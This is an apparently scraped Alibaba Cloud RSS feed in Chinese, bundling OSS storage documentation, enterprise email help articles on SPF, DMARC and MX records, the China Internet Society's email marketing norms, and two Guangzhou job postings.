跨域资源共享 OSS提供在HTML5协议中跨域资源共享(CORS)的设置。 CORS允许在一个域名中加载的客户端Web应用程序与另一个域中的资源进行交互。 设置跨域访问
在指定时间自动批量删除文件 您可以定义和管理存储空间内所有文件或特定文件的生命周期。例如,达到指定天数后,将特定文件删除或者转换到其他价格更低的存储类型。 管理对象生命周期
将一个存储空间的数据跨区域复制到另一个存储空间 跨区域复制是对不同区域的存储空间中的文件进行自动异步复制。 跨区域复制将新创建的文件、文件更新和文件删除等操作从源存储空间复制到不同区域的目标存储空间。 管理跨区域复制
获取源数据内容 您可以创建回源规则来定义通过镜像还是重定向获取源数据。回源规则通常用于数据热迁移和重定向特定请求。 管理回源设置
修改 HTTP头 设置一个或多个 HTTP 头。 设置文件HTTP头
查看资源使用情况 您可以查看OSS服务使用情况的实时信息,如基本的系统运行状态和性能。 监控服务概览
处理OSS中存储的图片 您可以对OSS中存储的图片执行不同的操作,例如格式转换、裁剪、缩放、旋转、水印和样式封装。 快速使用OSS图片服务
使用API和SDK OSS 提供 RESTful API和各种语言的SDK开发包。
  • API 参考
  • SDK 参考

]]>
阿里云OSS与自建存储对比的优势 Mon, 27 May 2019 21:06:17 +0800 阿里云OSS与自建存储对比的优势



OSS与自建存储对比的优势


对比项 对象存储OSS 自建服务器存储
可靠性
  • 服务设计可用性不低于99.99%。
  • 规模自动扩展,不影响对外服务。
  • 数据设计持久性不低于99.999999999%。
  • 数据自动多重冗余备份。
  • 受限于硬件可靠性,易出问题,一旦出现磁盘坏道,容易出现不可逆转的数据丢失。
  • 人工数据恢复困难、耗时、耗力。
安全
  • 提供企业级多层次安全防护。
  • 多用户资源隔离机制,支持异地容灾机制。
  • 提供多种鉴权和授权机制及白名单、防盗链、主子账号功能。
  • 需要另外购买清洗和黑洞设备。
  • 需要单独实现安全机制。
成本
  • 多线BGP骨干网络,无带宽限制,上行流量免费。
  • 无需运维人员与托管费用,0成本运维。
  • 存储受硬盘容量限制,需人工扩容。
  • 单线或双线接入速度慢,有带宽限制,峰值时期需人工扩容。
  • 需专人运维,成本高。
数据处理能力 提供图片处理、音视频转码、内容加速分发、鉴黄服务、归档服务等多种数据增值服务,并不断丰富中。 需要额外采购,单独部署。

OSS具备的其他各项优势

  • 方便、快捷的使用方式
    • 提供标准的RESTful API接口、丰富的SDK包、客户端工具、控制台。您可以像使用文件一样方便地上传、下载、检索、管理用于Web网站或者移动应用的海量数据。
    • 不限文件数量和大小。您可以根据所需存储量无限扩展存储空间,解决了传统硬件存储扩容问题。
    • 支持流式写入和读出。特别适合视频等大文件的边写边读业务场景。
    • 支持数据生命周期管理。您可以自定义将到期数据批量删除或者转入到低成本的归档服务。
  • 强大、灵活的安全机制
    • 灵活的鉴权,授权机制。提供STS和URL鉴权和授权机制,以及白名单、防盗链、主子账号功能。
    • 提供用户级别资源隔离机制和多集群同步机制(可选)。
  • 丰富、强大的增值服务
    • 图片处理:支持jpg、png、bmp、gif、webp、tiff等多种图片格式的转换,以及缩略图、剪裁、水印、缩放等多种操作。
    • 音视频转码:提供高质量、高速并行的音视频转码能力,让您的音视频文件轻松应对各种终端设备。
    • 内容加速分发:OSS作为源站,搭配CDN进行加速分发,具有稳定、无回源带宽限制、性价比高、一键配置的特点。

]]>
什么是阿里云对象存储 OSS Mon, 27 May 2019 21:06:17 +0800 什么是阿里云对象存储 OSS。




  • 相关概念
  • 相关服务
  • 使用OSS
  • OSS定价
  • 学习路径图
  • 视频

      阿里云对象存储服务(Object Storage Service,简称 OSS),是阿里云提供的海量、安全、低成本、高可靠的云存储服务。它具有与平台无关的RESTful API接口,能够提供99.999999999%(11个9)的数据可靠性和99.99%的服务可用性。您可以在任何应用、任何时间、任何地点存储和访问任意类型的数据。

您可以使用阿里云提供的API、SDK接口或者OSS迁移工具轻松地将海量数据移入或移出阿里云OSS。数据存储到阿里云OSS以后,您可以选择标准类型(Standard)的阿里云OSS服务作为移动应用、大型网站、图片分享或热点音视频的主要存储方式,也可以选择成本更低、存储期限更长的低频访问类型(Infrequent Access)和归档类型(Archive)的阿里云OSS服务作为不经常访问数据的备份和归档。

相关概念

  • 存储类型(Storage Class)

    OSS提供标准、低频访问、归档三种存储类型,全面覆盖从热到冷的各种数据存储场景。其中标准存储类型提供高可靠、高可用、高性能的对象存储服务,能够支持频繁的数据访问;低频访问存储类型适合长期保存不经常访问的数据(平均每月访问频率1到2次),存储单价低于标准类型;归档存储类型适合需要长期保存(建议半年以上)的归档数据,在三种存储类型中单价最低。详情请参见存储类型介绍。

  • 存储空间(Bucket)

    存储空间是您用于存储对象(Object)的容器,所有的对象都必须隶属于某个存储空间。您可以设置和修改存储空间属性用来控制地域、访问权限、生命周期等,这些属性设置直接作用于该存储空间内所有对象,因此您可以通过灵活创建不同的存储空间来完成不同的管理功能。

  • 对象/文件(Object)

    对象是 OSS 存储数据的基本单元,也被称为OSS的文件。对象由元信息(Object Meta),用户数据(Data)和文件名(Key)组成。对象由存储空间内部唯一的Key来标识。对象元信息是一个键值对,表示了对象的一些属性,比如最后修改时间、大小等信息,同时您也可以在元信息中存储一些自定义的信息。

  • 地域(Region)

    地域表示 OSS 的数据中心所在物理位置。您可以根据费用、请求来源等综合选择数据存储的地域。详情请参见OSS已开通的Region。

  • 访问域名(Endpoint)

    Endpoint 表示OSS对外服务的访问域名。OSS以HTTP RESTful API的形式对外提供服务,当访问不同地域的时候,需要不同的域名。通过内网和外网访问同一个地域所需要的域名也是不同的。具体的内容请参见各个Region对应的Endpoint。

  • 访问密钥(AccessKey)

    AccessKey,简称 AK,指的是访问身份验证中用到的AccessKeyId 和AccessKeySecret。OSS通过使用AccessKeyId 和AccessKeySecret对称加密的方法来验证某个请求的发送者身份。AccessKeyId用于标识用户,AccessKeySecret是用户用于加密签名字符串和OSS用来验证签名字符串的密钥,其中AccessKeySecret 必须保密。

相关服务

您把数据存储到OSS以后,就可以使用阿里云提供的其他产品和服务对其进行相关操作。

以下是您会经常使用到的阿里云产品和服务:

  • 云服务器ECS:提供简单高效、处理能力可弹性伸缩的云端计算服务。请参见ECS产品详情页面。
  • 内容分发网络CDN:将源站资源缓存到各区域的边缘节点,供您就近快速获取内容。请参见CDN产品详情页面。
  • E-MapReduce:构建于阿里云云服务器 ECS 上的大数据处理的系统解决方案,基于开源的 Apache Hadoop 和 Apache Spark,方便您分析和处理自己的数据。请参见E-MapReduce产品详情页面。
  • 媒体处理:将存储于OSS的音视频转码成适合在PC、TV以及移动终端上播放的格式。并基于海量数据深度学习,对音视频的内容、文字、语音、场景多模态分析,实现智能审核、内容理解、智能编辑。请参见媒体处理产品详情页面。

使用OSS

阿里云提供了Web服务页面,方便您管理对象存储OSS。您可以登录OSS管理控制台,操作存储空间和对象。关于管理控制台的操作,请参见控制台用户指南。

阿里云也提供了丰富的API接口和各种语言的SDK包,方便您灵活地管理对象存储OSS。请参见OSS API参考和OSS SDK参考。

OSS定价

传统的存储服务供应商会要求您购买预定量的存储和网络传输容量,如果超出此容量,就会关闭对应的服务或者收取高昂的超容量费用;如果没有超过此容量,又需要您按照全部容量支付费用。

对象存储OSS仅按照您的实际使用容量收费,您无需预先购买存储和流量容量,随着您业务的发展,您将享受到更多的基础设施成本优势。

关于对象存储OSS的价格,请参见OSS详细价格信息。关于OSS的计量计费方式,请参见OSS计量项和计费项。

学习路径图

您可以通过OSS产品学习路径图快速了解OSS,学习相关的基础操作,并利用丰富的API、SDK包和便捷工具进行二次开发。



]]>
【阿里云自营建站】千套模板 品质保证 Mon, 27 May 2019 21:06:17 +0800 购物车全产品返25% Mon, 27 May 2019 21:06:17 +0800 商标服务 专业专注 极速申报 最快1分钟递交到商标局 Mon, 27 May 2019 21:06:17 +0800 商标服务
专业专注 极速申报 最快1分钟递交到商标局
]]>
普惠上云,云服务器1核1G仅需293元/年 Mon, 27 May 2019 21:06:17 +0800 企业级性能云服务器限时2折起,更高计算网络性能 Mon, 27 May 2019 21:06:17 +0800 阿里云企业邮箱邮件组批量添加多个成员邮箱 Mon, 27 May 2019 21:06:17 +0800 阿里云企业邮箱邮件组批量添加多个成员邮箱



问题场景:

企业邮箱创建邮件组后,组成员的编辑过程和方法。

操作步骤:

1. 单击邮件组列表的 查看成员 按钮,进入组成员编辑界面。

企业邮箱

2. 可分别通过单个账号、选择邮件组成员和导入邮件组成员,3个方法进行添加。

2.1 添加单个组成员。在 添加框 中,输入邮箱账号的关键字,选择匹配出的邮箱账号名称,单击 添加 按钮。

 

企业邮箱

 

2.2 选择邮件组成员。单击 选择邮件组成员 的三角按钮,在 员工账号列表 中选择部门后面的 + 号,对部门中的所有账号批量选择,单击 添加 

企业邮箱

 

2.3 导入邮件组成员。

单击添加框上方的  按钮,根据要求编辑好导入文件后,单击 导入邮件组成员 按钮,选择上传导入文件,单击 添加 即可。

企业邮箱

 

3. 邮件组列表界面中,组名称一栏的数字如10/500,10即是当前的组成员账号数量。

企业邮箱

]]>
邮箱账号冻结无法登陆,怎么办?-阿里云企业邮箱 Mon, 27 May 2019 21:06:17 +0800 邮箱账号冻结无法登陆,怎么办?-阿里云企业邮箱



【问题】

正确输入邮箱地址和密码,提示账号已被冻结,如何解冻?

 

【解决方案】

您可以联系域名管理员,进行解冻。

域名管理员经过判断,选择需要解冻的账号,点击“操作”——“开启”,即可。如下图

阿里云企业邮箱

]]>
阿里云免费个人邮箱mail.aliyun.com问题反馈入口-阿里云邮箱 Mon, 27 May 2019 21:06:17 +0800 阿里云免费个人邮箱mail.aliyun.com问题反馈入口-阿里云邮箱




 

https://mail.aliyun.com/邮箱属于免费个人云邮箱,免费个人云邮箱的问题建议通过登陆页面右上方的“服务中心”自助查询。

或者您也可以点击“云邮小助手”进行智能查询。

提示:

免费个人云邮箱问题目前不提供工单技术支持,请个人云邮箱用户移步以上链接页面进行问题反馈;

阿里云免费邮箱

]]>
什么是DMARC?如何设置 DMARC记录?-阿里云企业邮箱 Mon, 27 May 2019 21:06:17 +0800 什么是DMARC?如何设置 DMARC记录?-阿里云企业邮箱



设置DMARC记录,防止他人伪造贵司域名,还可以获取到他人尝试伪造贵司域名的情况。

当Mail Receiver方(其MTA需支持DMARC协议)收到该域发送过来的邮件时,则进行DMARC校验,若校验失败会发送一封report到DMARC设置的邮箱。

第一步:

在设置DMARC记录之前,贵司必须保证已经设置如下SPF记录:

“v=spf1 include:spf.mxhichina.com -all”

第二步:

当设置了SPF记录后,推荐贵司设置如下DMARC记录:

_dmarc.yourdomain.com TXT “v=DMARC1; p=quarantine;rua=mailto:dmarc_report@yourdomain.com;ruf=mailto:dmarc_report@yourdomain.com”

阿里云企业邮箱

]]>
集团邮箱做 CNAME 域名验证的必要性-阿里云企业邮箱 Mon, 27 May 2019 21:06:17 +0800 集团邮箱做 CNAME 域名验证的必要性-阿里云企业邮箱




为了防止域名被冒用,对于某些域名,要求先验证这个域名的所有权,才可以作为集团版企业邮箱的域名。验证的方式是,根据要求,对域名设置一条唯一的 CNAME 记录。如果这条记录被成功设置,则证明该域名确实是属于申请者的。

对于大多数申请者来说,并不需要设置这条“唯一的 CNAME ”。当我们认为可能会出现域名冒用的情况,则会在创建过程中告知具体方法。

]]>
MX、CNAME以及TXT记录的名词解释-阿里云企业邮箱 Mon, 27 May 2019 21:06:17 +0800 MX、CNAME以及TXT记录的名词解释-阿里云企业邮箱




MX全称为mail exchanger,用于电子邮件系统发邮件时根据收信人的地址后缀来定位邮件服务器。例如,当有人发邮件给“vincen@example.com”时,系统将对“example.com”进行DNS中的MX记录解析。如果MX记录存在,系统就根据MX记录的优先级,将邮件转发到与该MX相应的邮件服务器上。
 

阿里企业邮箱要求的MX记录设置方法如下所示:
邮件服务器名:mxn.mxhichina.com. 优先级:5
邮件服务器名:mxw.mxhichina.com. 优先级:10
或者:
邮件服务器名:mx1.qiye.aliyun.com. 优先级:5
邮件服务器名:mx2.qiye.aliyun.com. 优先级:10
邮件服务器名:mx3.qiye.aliyun.com. 优先级:15


阿里云企业邮箱

为什么要增加邮件域CNAME记录?
CNAME即别名记录。增加CNAME记录,您可以使用“mail.企业域名”这种形态来访问企业邮箱登录页面。
例如mail.hichina.com.别名:mail (请注意,这里只能用mail,不可以用其他内容)
 阿里云企业邮箱
如图所示,当您提交验证以后,系统会自动进行校验,这个过程通常会在2个小时左右,请耐心等待。

 

为什么要增加邮件域TXT记录?
增加TXT记录,是完成发送者身份的鉴别。业界一般称之为SPF,是(Sender Policy Framework)的缩写,一种以IP地址认证电子邮件发件人身份的技术,是非常高效的垃圾邮件解决方案。接收邮件方会首先检查域名的SPF记录,来确定发件人的IP地址是否被包含在SPF记录里面,如果在,就认为是一封正确的邮件,否则会认为是一封伪造的邮件进行退回。
SPF是通过域名的TXT记录来进行设置的。为了提升域名邮箱发送外域(阿里云邮箱以外的邮箱,例如QQ邮箱)邮件的成功率,建议您给自己的域名设置一条TXT记录来避免这种情况。
阿里云企业邮箱  
当您提交验证以后,系统会自动进行校验,这个过程通常会在2个小时左右,请耐心等待。

]]>
营销邮件标准及相关规范-阿里云企业邮箱 Mon, 27 May 2019 21:06:17 +0800 营销邮件标准及相关规范-阿里云企业邮箱



阿里云任何版本的企业邮箱服务禁止发送营销邮件,营销邮件标准及相关规范,参见中国互联网协会反垃圾信息中心的管理规范

中国互联网协会电子邮件营销规范(V1.2)

来源:反垃圾信息中心

一、总则

1.1 为规范电子邮件形式的市场营销行为,统一电子邮件营销[注1]的基本要求,为接收和发送营销内容的电子邮件提供依据,保护电子邮件用户的合法权益,根据我国相关法律法规的规定,制定本规范。

1.2 本规范适用于电子邮件营销活动的开展和评价。

1.3 本规范基于《互联网电子邮件服务管理办法》(中华人民共和国信息产业部令第38号)制定,从事电子邮件营销除应执行本规范外,还应符合《互联网电子邮件服务管理办法》及其他国家现行的有关标准的规定。

二、基本规定

2.1 中国互联网协会对电子邮件营销服务提供者[注2]实行登记备案管理。电子邮件营销服务提供者应当在开展电子邮件营销活动前将电子邮件发送服务器所使用的IP地址[注11]及相关信息向中国互联网协会反垃圾信息中心登记备案,并遵守以下规定:

2.1.1需报备的 IP 地址及相关信息

(1)备案单位基本情况,包括备案单位名称、备案单位地址、备案单位性质、备案单位组织机构代码、备案单位营业执照注册号、备案单位经营范围、备案单位注册资金、备案单位网站域名、备案单位法人代表姓名、备案单位联系人姓名、联系人电话、 联系人电子邮件、联系人即时通信方式等。

(2)备案单位电子邮件发送服务器IP地址分配使用信息,包括备案单位用于发送电子邮件的IP地址数量、IP地址、IP地址段、IP地址所属单位名称、IP地址对应域名、IP地址对应发送营销电子邮件[注3]性质/类型(事务性邮件和商业性邮件等);

(3)备案单位可自愿报备每次电子邮件营销活动的信息,包括本次营销活动使用IP地址、域名、发件人邮箱地址、电子邮件HELO[注19]信息、收件人数量、发送周期、平均发送速率[注10]、单IP最大发送速率、发送营销电子邮件性质/类型(事务性邮件和商业性邮件等)、营销电子邮件的原信/样信等。

(4)其他需要备案的信息。

2.1.2 电子邮件营销服务提供者拟变更电子邮件营销服务信息的,应当提前办理变更登记手续。

2.1.3 电子邮件营销服务提供者提交的备案信息必须完整、真实、有效且符合我国相关法律法规规定。

2.1.4 中国互联网协会反垃圾信息中心负责审核电子邮件营销服务提供者提交的备案资料,对符合要求的备案单位发放电子邮件营销备案资质证书。

2.2 电子邮件营销服务提供者应当确保所有与电子邮件服务有关的域名和IP地址注册信息正确、完整和及时更新,并遵守以下规定:

2.2.1 发送电子邮件的服务器IP地址必须使用静态IP[注12]地址,并已采取IP反向解析[注13]措施。

2.2.2 发送电子邮件的邮箱域名建议与发送电子邮件的服务器IP反向解析的域名信息一致,并已采取SPF解析[注14]

2.2.3 建议使用DKIM[注15]、DMARC[注16]等反垃圾邮件技术,提高与电子邮件发送相关的域名和IP的信誉。

2.2.4 关注知名的RBL[注17]组织列表,如果发现与电子邮件发送相关的域名、IP或邮箱地址出现在知名的RBL[注17]组织列表上,应及时采取措施进行申诉和解封。

2.2.5 建议发送事务性邮件和商业性邮件的服务器分配不同的IP地址和发送邮箱地址。

2.2.6 具有特殊功能的账户,如postmaster@账户(邮件管理员账户)或abuse@账户(投诉账户),必须保证其有效,并由专人负责管理维护。

2.3 电子邮件营销服务提供者应当建立可靠有效的订阅[注5]及退订[注9]机制,并遵守以下规定:

2.3.1未经电子邮件接收者明确许可,不得向其发送营销电子邮件。获取接收者许可的过程和内容应清楚、明确,且不违背我国的相关法律规定。电子邮件营销服务提供者应公布获取接收者许可的策略,保存接收者同意接收营销邮件的许可记录,以便在需要时向接收者提供相关信息。

2.3.2营销电子邮件必须提供给接收者至少包含一种退订的途径和具体操作方法,退订信息应醒目、清晰,退订操作方法应简单,有效。

2.3.3确保退订请求可以正常发送并能够被及时自动响应处理。不得强制要求用户提交退订原因或设置退订条件,退订请求发出后应在3个工作日内生效。

2.4 电子邮件营销服务提供者应规范的使用和维护其营销用户[注4]的电子邮件地址列表[注6],并遵守以下规定:

2.4.1 电子邮件营销服务提供者对营销用户的个人信息和电子邮件地址负有保密的义务。未经用户同意,不得泄露用户的个人信息和电子邮件地址,法律、行政法规另有规定的除外。

2.4.2 电子邮件营销服务提供者应制定安全合理的隐私策略[注8]。营销用户的个人信息资料和电子邮件地址的使用应与收集目的一致,未经用户同意,不得用于收集目的以外的其它用途。

2.4.3 必须保证每个电子邮件地址的取得都经过了用户的许可。尽量确保每个电子邮件地址都是真实有效的。

2.4.4 应合理处理邮件投递过程中接收电子邮件的服务器返回的错误代码[注7]。对于返回代码表示不存在的电子邮件地址,应及时从发送列表中删除;对于连续出现投递错误的电子邮件地址,建议及时调整投递策略,减少可能导致错误发生的情况。

2.5 电子邮件营销服务提供者应使用规范的电子邮件格式与内容,并遵守以下规定:

2.5.1 营销电子邮件的内容不得违反我国相关法律法规规定。

2.5.2 营销电子邮件格式应符合国际通用规范标准(参见RFC 2822)。邮件中如果包含HTML格式,应遵循由万维网联盟(W3C)公布的w3.org[注18]设计规范。

2.5.3 营销电子邮件应标明邮件发送方的身份和真实的可返回的邮件发送地址。邮件的标题和信体要能准确的反映出邮件的内容、真实来源和通信目的。邮件正文应包含发送方的名称、地址、联系电话和电子邮件地址等详细信息。

2.5.4 营销电子邮件的主题与内容必须相匹配。邮件内容应与营销用户的订阅内容一致。

2.5.5 应采取有效的措施保护未成年人,尽可能的识别未成年的邮件订阅者。营销电子邮件含有不适合未成年人阅读的内容时,应提前核实接收者的年龄,确保接收者达到合法接收和阅读的年龄。发送给未成年人的营销邮件应征得其监护人的许可,内容符合此年龄段人群的知识水准、阅历和心里成熟程度。

2.6 电子邮件营销服务提供者应与邮件接收方建立良好的沟通渠道,并参考以下规定:

2.6.1 中国互联网协会反垃圾信息中心负责协助电子邮件营销服务提供者与邮件接收组织之间的沟通协调,在邮件传送过程中出现问题时,及时有效的进行沟通,确保尽快使问题得到解决。

2.6.2 中国互联网协会反垃圾信息中心应协助电子邮件营销服务提供者与邮件接收组织之间建立信息反馈机制,改进电子邮件营销服务提供者的服务水平。

2.6.3 中国互联网协会反垃圾信息中心应对电子邮件营销活动进行监督,对电子邮件营销服务提供者的信誉进行评价。

2.6.4 电子邮件营销服务提供者应建立公平、高效、安全、易于使用的邮件投诉系统,在营销电子邮件中为营销用户提供便捷的投诉方式,受理营销用户对营销电子邮件的投诉。对被投诉的营销电子邮件,应立即开展调查,采取合理有效的防范或处理措施,并将有关情况和调查结果及时向各省通信管理局等国家有关机关或者12321网络不良和垃圾信息举报受理中心报告。

2.6.5 电子邮件营销服务提供者应按照邮件接收方的要求限制营销电子邮件的发送速率。邮件接收方应将未投递成功的电子邮件服务器错误信息反馈邮件发送方。对信誉良好,行为规范的电子邮件营销服务提供者,邮件接收方可适当放宽营销电子邮件的发送速率。

2.7 电子邮件营销服务提供者应积极配合各省通信管理局等国家有关机关和12321网络不良和垃圾信息举报受理中心开展调查工作。

2.8 中国互联网协会拥有本规范的解释权和修改权。

2.9 本规范自发布之日起施行。

 

附注:

1. 电子邮件营销:指通过电子邮件开展的营销活动。

2. 电子邮件营销服务提供者:也是营销电子邮件的发送方,指提供电子邮件营销服务的单位或个人,包括直接开展电子邮件营销活动的单位或个人以及接受委托开展电子邮件营销活动的单位或个人。

3. 营销电子邮件:指具有营销功能的电子邮件。根据电子邮件的发送目的,分为事务性邮件和商业性邮件两种类型。

3.1 事务性邮件,是指由收件人触发并已允许发件人发送的,以推动、完成或确认相关联流程为主要目的而发送的电子邮件。常见分类包括:

(1)账号相关:账号激活、信息验证、账号绑定、密码修改、密码取回等。

(2)交易信息:订单通知、付款通知、退款通知、物流通知、交易投诉等。

(3)账单信息:对帐单、流水账单、催款通知、账户变更等。

(4)其他类型。

3.2 商业性邮件,是指任何以推销或者推广某种商品或服务(包括商业性网站的内容)为主要目的而发送的电子邮件。常见分类包括:

(1)期刊资讯:更新通知、各类期刊、各类报表等。

(2)产品促销:新品推广、季末促销、优惠套餐、折扣优惠、积分优惠等。

(3)成员营销:好友邀请、成员关怀、主题活动、用户调研等。

(4)其他类型。

3.3 事务性邮件如果附带商业性内容,则视为商业性邮件。

4. 营销用户:指电子邮件营销活动的对象,即接收营销电子邮件的电子邮箱使用者。

5. 订阅:指营销用户预先订制,同意接收订制的营销电子邮件的行为。

6. 邮件列表:指已经订阅了某一类营销电子邮件的用户电子邮箱地址列表,该列表是此类营销电子邮件的发送对象。

7. 错误代码/硬退回/软退回:指在邮件的SMTP发送过程中,收信方服务器每处理完一条SMTP命令,都会向发信方服务器回传一个返回信息,用于表明对这条SMTP命令的执行结果。

如返回信息以4XX(如450等)开头,指接收方临时性拒收该邮件,称软退回;

如返回信息以5XX(如550等)开头,指接收方永久性拒收该邮件,称硬退回。

以上列举的两类代码,习惯称为错误代码。

8. 隐私策略:指电子邮件营销活动所收集的营销用户信息类型,收集方式和收集技术,以及信息的提供对象和使用用途。隐私策略中还应包括用户信息保护的安全措施、责任和实施过程。

9. 退订:指营销用户取消订阅营销电子邮件的行为。

10. 发送速率:指单位时间内的发送电子邮件的总数量。
常见的时间间隔单位包括:分钟、15分钟、小时、天、周、月等。

11. IP地址/IP段

IP地址是被用于定位互联网上的电脑一个唯一编号,地址的格式如159.226.1.1。多个IP地址的组合,即称为IP段。

邮件发送过程中会?谰軮P地址,来确定邮件发送者和邮件接收者的位置。

12. 静态IP地址

指长期固定分配给一台计算机使用的IP地址,一般是由网络运营商分配。

13. IP反向解析

IP反向解析是一项常用的反垃圾邮件技术。常用的DNS服务器里面有两个区域,即“正向查找区域”和“反向查找区域”。正向查找区域是指域名解析,反向查找区域即是IP反向解析,简称PTR记录,其作用是通过查询IP地址的PTR记录来得到该IP地址指向的域名。

PTR记录需要由提供IP地址的网络运营商(ISP)进行配置。

14. SPF

SPF(Sender Policy Framework)是一种通过IP地址来认证电子邮件发件人身份的技术,是一项非常高效的反垃圾邮件技术。它通过在DNS中发布一条TXT类型的记录,用于登记某个域名所有拥有的合法的发送邮件的所有IP地址。

15. DKIM

DKIM(DomainKeys Identified Mail)是一种防诈骗邮件的反垃圾邮件技术。DKIM要求邮件发送方在电子邮件的信头插入DKIM-Signature及电子签名信息,而邮件接收方则通过DNS查询得到其公钥然后进行合法性验证。

16. DMARC

DMARC(Domain-based Message Authentication, Reporting and Conformance)是一种防诈骗邮件的反垃圾邮件技术。DMARC结合SPF和DKIM两项技术,通过检查电子邮件信头的发件人的合法性,将诈骗邮件识别出来。

17. RBL

RBL(Real-time Blackhole List),即实时黑名单列表,是一些由国际知名的反垃圾邮件组织所提供的恶意发送垃圾邮件的发件人邮箱地址,IP地址,URL地址等黑名单列表的服务。若已被RBL收录,需到相应RBL官方网站上去核实并申请移除。

常见的知名RBL组织,如中国互联网协会反垃圾信息中心、spamhaus,Maps,sorbs,uribl,surbl等。

18. w3.org规范

由万维网联盟(W3C)共同开发与公布的各种web设计规范。当邮件正文以网页的形式组织时,应当参考这些规范。

19.HELO

电子邮件头中邮件发送者用来标识自己的身份的命令字段。

 

附录:

电子邮件营销常用指标

1. 发送量

发送的营销电子邮件数量

2. 到达量

发送的营销电子邮件数量-退回的营销电子邮件数量

3. 到达率

到达接收方邮箱的营销电子邮件数量/发送的营销电子邮件数量×100%

4. 退信率

退回的营销电子邮件数量/发送的营销电子邮件数量×100%

5. 硬退信率

硬退回的营销电子邮件数量/发送的营销电子邮件数量×100%

6. 软退信率

软退回的营销电子邮件数量/发送的营销电子邮件数量×100%

7. 打开率

打开营销电子邮件的接收方数量/收到营销电子邮件的接收方数量×100%,不计算重复打开邮件的情况。

8. 点击率

点击了营销电子邮件内容中链接的接收方数量/收到营销电子邮件的接收方数量×100%,不计算重复点击的情况。

9. 点击打开率

点击了营销电子邮件内容中链接的接收方数量/打开营销电子邮件的接收方数量×100%,不计算重复点击和重复打开的情况。

10. 退订率

退订营销电子邮件的接收方数量/收到营销电子邮件的接收方数量×100%

11. 投诉率

被投诉的营销电子邮件数量/到达接收方邮箱的营销电子邮件数量×100%

12. 信誉度

邮件接收方或者第三方机构对营销电子邮件服务信誉和质量的评定结果

 

参考

中华人民共和国信息产业部令第38号 互联网电子邮件服务管理办法

中国互联网协会 电子邮件服务指南(V1.1)

中国互联网协会 中国互联网协会互联网公共电子邮件服务规范

YD-T 1310-2004 互联网广告电子邮件格式要求

YD-T 1311-2004 防范互联网垃圾电子邮件技术要求


]]>
米姆招聘-PHP高级工程师 Mon, 27 May 2019 21:06:17 +0800

职位描述

公司福利:带薪年假  年底三薪  项目分成 

职位类型:IT/互联网

基本要求:年龄不限性别不限

工作地点:广州



职位描述:

1. 对项目独立进行数据库设计、接口设计等;

2. 定期维护相关项目和系统,处理反馈的bug,保持项目稳定运行;

3. 针对业务场景的应用要求,不断优化系统设计和前台表现,提升系统效能、安全性和用户体验;

4. 负责公司服务器的日常运维;

5. 能独立管理与执行公司及品牌客户技术项目。

资历要求Qualification Experiences:

1. 3年及以上LAMP开发经验;

2. 熟悉PHP开发语言,有一定的OOP思想,熟悉PHP主流的设计模式;

3. 熟悉MysQL数据库应用开发,了解MySQL的数据库配置管理、性能优化等基本操作技能;

4. 熟悉AJAX,Js,Css,Jquery等前端工具;

5. 熟悉威信网页API或有使用相关API的项目开发经验者有限;

6. 具有良好的编程风格,承受一定的工作压力并在指定时间内完成高质量的程序。

7.有游戏开发、商城开发经验者优先。


]]>
米姆招聘-资深java开发工程师 Mon, 27 May 2019 21:06:17 +0800

职位描述

公司福利:带薪年假  年底三薪  项目分成 

职位类型:IT/互联网

基本要求:年龄不限性别不限

工作地点:广州

职位描述:

岗位职责: 1. 参与系统架构设计,技术架构选型,并主导功能模块设计、数据结构设计、接口设计;

2. 参与系统核心功能的研发工作;负责核心技术问题的攻关,系统优化,协助解决项目开发过程中的技术难题;

3、参与产品方案设计、设计文档评审、代码评审等工作。

任职要求:

1. 5年以上大规模在线交易系统设计、规划及参与系统运维经验,熟悉JavaGolang等语言;

2. 精通大规模系统的JavaEE架构技术,熟练掌握常见开源框架和技术,如Spring Cloud、Spring Boot、dubbo、RabbitMQ、Redis等,熟练使用MyEclipseIntelliJ Idea开发工具,对框架本身有过开发或重构者可优先考虑;

3. 熟悉主流应用服务器的架构体系、数据库以及各种中间件技术,如tomcat、jboss、jetty、MysqlMariaDB、Postgresql等;

4. 精通常用设计模式和主流设计工具,能进行系统建模、总体设计;

5. 熟悉大规模系统的负载均衡、缓存、网络存储、网络安全、数据库高可用设计及性能评估机制;

6. 具备海量数据、大批量、高并发、高性能分析及处理的成熟经验;

7. 具备良好的文档撰写能力、编写习惯,良好的抽象思维和逻辑思维能力,独立分析问题解决问题的能力;

]]>
阿里云企业邮箱简介介绍 Mon, 27 May 2019 21:06:17 +0800

阿里云企业邮箱简介介绍


企业邮箱是以企业域名做后缀的邮箱,既能体现公司的品牌和形象,又能方便公司主管人员对员工信箱进行统一管理,还能使得公司商业信函来往获得更好更安全的管理,是现今互联网时代中不可缺少的现代化的通讯工具。

选择企业邮箱的优势

- 树立企业品牌形象——基于企业独立域名,宣传企业自我形象

员工的信箱都是”name@企业域名”这种形式,从而树立统一的企业品牌形象,方便企业形象推广。一旦公司拥有了这种性质的 email 信箱,就表明该公司在 Internet 上拥有了相对独立的身份。企业邮箱将成为公司对外宣传和从事业务的不可缺少的工具。

- 自主的邮箱管理——随时开设关闭员工信箱,防止业务流失

企业拥有自己的电子邮件系统便于统一管理,可以随时开设或关闭公司职员的 email 信箱,防止业务流失,而且重要的通知可以发送广播邮件,同域内的所有同事都能快速的收到通知邮件。

- 方便快捷的管理方式——提供交互式管理界面

为企业用户提供交互式管理界面,所有的工作将完全在 WEB 界面上完成,详细的帮助文档将使您的工作更简单快捷。用户通过客户端进行 POP3 和 SMTP 快速收发邮件,收发服务器配置简单方便,服务器连接快速稳定。

- 便于企业管理——根据需要自主开设

可以根据企业需要自主开设企业邮箱,可自由命名、分配容量、分组、群发、设定功能限制等,方便企业的统一管理。

- 安全性、稳定性高

企业邮箱在安全性、稳定性以及防病毒、反垃圾邮件功能方面远高于其他类邮箱,服务品质更适于企业商务应用。

]]>
如何使用报警任务删除通过弹性伸缩创建的实例?-阿里云-上云就上阿里云 Mon, 27 May 2019 21:06:17 +0800 如何使用报警任务删除通过弹性伸缩创建的实例?-阿里云-上云就上阿里云




背景信息

弹性伸缩报警任务为您提供了一种通过监控特定指标来动态调整伸缩组内实例数量的方法,让您能够根据业务的变化实时的执行指定的伸缩规则,调整伸缩组内的实例数量。

操作步骤

  1. 登录 弹性伸缩管理控制台 。
  2. 找到伸缩组,在 操作 列下单击 管理

    阿里云使用小妙招
  3. 前往 伸缩规则 页面,单击 创建伸缩规则,可以按照需求选择 减少 或者 调整至 指定数量的 ECS实例。

    阿里云使用小妙招
